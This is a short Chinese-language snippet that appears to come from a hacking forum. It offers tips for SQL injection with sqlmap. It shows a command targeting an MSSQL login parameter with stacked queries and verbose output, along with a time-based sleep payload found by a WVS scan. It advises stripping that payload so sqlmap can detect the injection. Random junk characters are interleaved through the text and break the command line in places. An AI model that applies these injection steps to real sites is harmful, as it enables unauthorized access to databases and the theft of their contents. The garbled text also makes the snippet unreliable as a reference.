E:\sqlmapp2>sqlmap.py -r bao/who.txt -p txtUserName --dbms=mssql --technique=S -/ a" I. O! O$ k$ Y; @/ _# S
-current-db -v 3 --level 4
7 |% U5 k, F( D. r2 T4 E3 d9 T# s9 _1 c8 }6 Z# L9 O- @) {2 T+ ~
不加参数注入检测不到注入点,尝试各种方法都不行,这里要提醒一下大家,用WVS扫描到的延时注入一定要改包,把wait for那部分删除掉然后再注入,比如:GET /view/Statistic/Http_Host.php?category=if(now()=sysdate()%2Csleep(6)%2C0)&device=&pagecur=0 HTTP/1.1,必须把category=if(now()=sysdate()%2Csleep(6)%2C0)改为category=1然后再注入,否则识别不了注入。特别是category=空,无法识别注入,记得-p category |